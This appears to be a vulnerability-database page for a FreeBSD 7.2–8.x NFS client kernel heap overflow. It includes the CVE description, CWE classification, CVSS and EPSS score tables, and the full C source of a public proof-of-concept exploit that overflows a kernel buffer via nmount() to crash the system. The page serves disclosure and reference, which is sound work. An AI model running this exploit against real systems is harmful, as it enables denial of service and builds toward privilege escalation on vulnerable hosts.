CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
sys/nfsclient/nfs_vfsops.c in the NFS client in the kernel in FreeBSD 7.2 through 8.1-PRERELEASE, when vfs.usermount is enabled, does not validate the length of a certain fhsize parameter, which allows local users to gain privileges via a crafted mount request.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.9
AV:L/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.05%
–
2023-03-19
–
–
–
0.05%
–
2023-04-09
–
–
–
0.05%
–
2023-04-16
–
–
–
0.05%
–
2023-05-14
–
–
–
0.05%
–
2023-05-28
–
–
–
0.05%
–
2023-07-16
–
–
–
0.05%
–
2023-07-30
–
–
–
0.05%
–
2023-09-17
–
–
–
0.05%
–
2023-12-03
–
–
–
0.05%
–
2024-01-21
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.48%
2025-03-30
–
–
–
–
0.42%
2025-04-15
–
–
–
–
0.42%
2025-04-15
–
–
–
–
0.42,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
* mountnfsex.c -- Patroklos Argyroudis, argp at domain census-labs.com
*
* Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2.
*
* Discovered and exploited by Patroklos (argp) Argyroudis.
*
* The vulnerability is in mountnfs() which is reachable by the mount(2)
* and nmount(2) system calls. In order for them to be enabled for
* unprivileged users the sysctl(8) variable vfs.usermount must be set to
* a non-zero value.
*
* mountnfs() employs an insufficient input validation method for copying
* data passed in the struct nfs_args from userspace to kernel.
* Specifically, the file handle to be mounted (nfs_args.fh) and its size
* (nfs_args.fhsize) are completely user-controllable. In file
* sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE:
*
* 1219 bcopy((caddr_t)argp->fh, (caddr_t)nmp->nm_fh, argp->fhsize);
*
* The above can cause a kernel heap overflow when argp->fh is bigger than
* 128 bytes (the size of nmp->nm_fh) since nmp is an allocated item on
* the UMA zone nfsmount_zone (again from sys/nfsclient/nfs_vfsops.c):
*
* 1164 struct nfsmount *nmp;
* ...
* 1175 nmp = uma_zalloc(nfsmount_zone, M_WAITOK);
*
* The result is a kernel crash/denial-of-service. I have developed a code
* execution/privilege escalation exploit, but I will not release it at this
* point. 7.1-RELEASE and earlier do not seem to be vulnerable since the
* bug was introduced in 7.2-RELEASE.
*
* $Id: mountnfsex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $
*/
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#define BUFSIZE 1024
#define FSNAME "nfs"
#define DIRPATH "/tmp/nfs"
int
main()
{
struct iovec iov[8];
mkdir(DIRPATH, 0700);
iov[0].iov_base = "fstype";
iov[0].iov_len = strlen(iov[0].iov_base) + 1;
iov[1].iov_base = FSNAME;
iov[1].iov_len = strlen(iov[1].iov_base) + 1;
iov[2].iov_base = "fspath";
iov[2].iov_len = strlen(iov[2].iov_base) + 1;
iov[3].iov_base = DIRPATH;
iov[3].iov_len = strlen(iov[3].iov_base) + 1;
iov[4].iov_base = "fh";
iov[4].iov_len = strlen(iov[4].iov_base) + 1;
iov[5].iov_base = calloc(BUFSIZE, sizeof(char));
if(iov[5].iov_base == NULL)
{
perror("calloc");
rmdir(DIRPATH);
exit(EXIT_FAILURE);
}
memset(iov[5].iov_base, 0x41, (BUFSIZE - 1));
iov[5].iov_len = BUFSIZE;
iov[6].iov_base = "hostname";
iov[6].iov_len = strlen(iov[6].iov_base) + 1;
iov[7].iov_base = "census-labs.com";
iov[7].iov_len = strlen(iov[7].iov_base) + 1;
printf("[*] calling nmount()\n");
if(nmount(iov, 8, 0) < 0)
{
fprintf(stderr, "[!] nmount error: %d\n", errno);
perror("nmount");
rmdir(DIRPATH);
free(iov[5].iov_base);
exit(1);
}
printf("[*] unmounting and deleting %s\n", DIRPATH);
unmount(DIRPATH, 0);
rmdir(DIRPATH);
free(iov[5].iov_base);
return 0;
}
/* EOF */